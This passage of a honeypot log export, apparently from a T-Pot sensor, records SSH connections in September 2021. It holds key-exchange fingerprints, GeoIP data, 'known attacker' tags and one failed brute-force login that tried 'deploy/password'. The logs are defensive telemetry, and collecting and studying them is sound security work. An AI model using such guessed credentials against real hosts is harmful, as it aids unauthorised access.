"AAADzAYUNtEIkaq5NaYvupK2lOSGDwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 59320, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:14:27.387681Z", "@timestamp": "2021-09-20T11:14:27.387Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......6.....5./..........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
27434	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:27.384331+03	2021-09-20 14:15:14.573674+03	{"_id": "uAbqAnwBvYTbRNuEGCeZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "132.148.165.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59320, "timestamp": "2021-09-20T11:14:27.384331", "@timestamp": "2021-09-20T11:14:27.384Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27435	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:22.23398+03	2021-09-20 14:15:14.575647+03	{"_id": "lwbqAnwBvYTbRNuEAScl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33350, "timestamp": "2021-09-20T11:14:22.233980", "@timestamp": "2021-09-20T11:14:22.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27436	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:22.244939+03	2021-09-20 14:15:14.576674+03	{"_id": "mAbqAnwBvYTbRNuEAScl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33414, "timestamp": "2021-09-20T11:14:22.244939", "@timestamp": "2021-09-20T11:14:22.244Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27437	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:22.240119+03	2021-09-20 14:15:14.577674+03	{"_id": "ogbqAnwBvYTbRNuEASfk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:33414 (192.168.176.2:22) [session: e690b4deba37]", "session": "e690b4deba37", "@version": "1", "protocol": "ssh", "src_port": 33414, "dest_port": 22, "timestamp": "2021-09-20T11:14:22.240119Z", "@timestamp": "2021-09-20T11:14:22.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27438	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:14:22.153045+03	2021-09-20 14:15:14.579647+03	{"_id": "nAbqAnwBvYTbRNuEASfk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "53eded6d5055", "@version": "1", "duration": 5.56614351272583, "timestamp": "2021-09-20T11:14:22.153045Z", "@timestamp": "2021-09-20T11:14:22.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27439	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:35.031292+03	2021-09-20 14:15:14.580674+03	{"_id": "yAbqAnwBvYTbRNuENCey", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:33168 (192.168.176.2:22) [session: 7903072c501c]", "session": "7903072c501c", "@version": "1", "protocol": "ssh", "src_port": 33168, "dest_port": 22, "timestamp": "2021-09-20T11:14:35.031292Z", "@timestamp": "2021-09-20T11:14:35.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27440	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:14:35.308121+03	2021-09-20 14:15:14.581674+03	{"_id": "zAbqAnwBvYTbRNuENien", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1346121890431780, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33168, "dest_port": 22, "timestamp": "2021-09-20T11:14:35.308121Z", "@timestamp": "2021-09-20T11:14:35.308Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27441	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:36.195815+03	2021-09-20 14:15:14.582644+03	{"_id": "zQbqAnwBvYTbRNuEOCea", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7903072c501c", "@version": "1", "timestamp": "2021-09-20T11:14:36.195815Z", "@timestamp": "2021-09-20T11:14:36.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27442	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:35.308301+03	2021-09-20 14:15:14.584675+03	{"_id": "wgbqAnwBvYTbRNuEMyf0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33168, "timestamp": "2021-09-20T11:14:35.308301", "@timestamp": "2021-09-20T11:14:35.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27443	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:35.116014+03	2021-09-20 14:15:14.586675+03	{"_id": "xwbqAnwBvYTbRNuENCey", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7903072c501c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:35.116014Z", "@timestamp": "2021-09-20T11:14:35.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27444	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:22.242834+03	2021-09-20 14:15:14.587674+03	{"_id": "qAbqAnwBvYTbRNuEASfm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e690b4deba37", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:22.242834Z", "@timestamp": "2021-09-20T11:14:22.242Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27445	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:37.156868+03	2021-09-20 14:15:14.588674+03	{"_id": "zgbqAnwBvYTbRNuEPCeD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [deploy/password] failed", "session": "7903072c501c", "@version": "1", "password": "password", "username": "deploy", "timestamp": "2021-09-20T11:14:37.156868Z", "@timestamp": "2021-09-20T11:14:37.156Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27446	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:38.353263+03	2021-09-20 14:15:14.590648+03	{"_id": "0AbqAnwBvYTbRNuEPyet", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42148, "timestamp": "2021-09-20T11:14:38.353263", "@timestamp": "2021-09-20T11:14:38.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
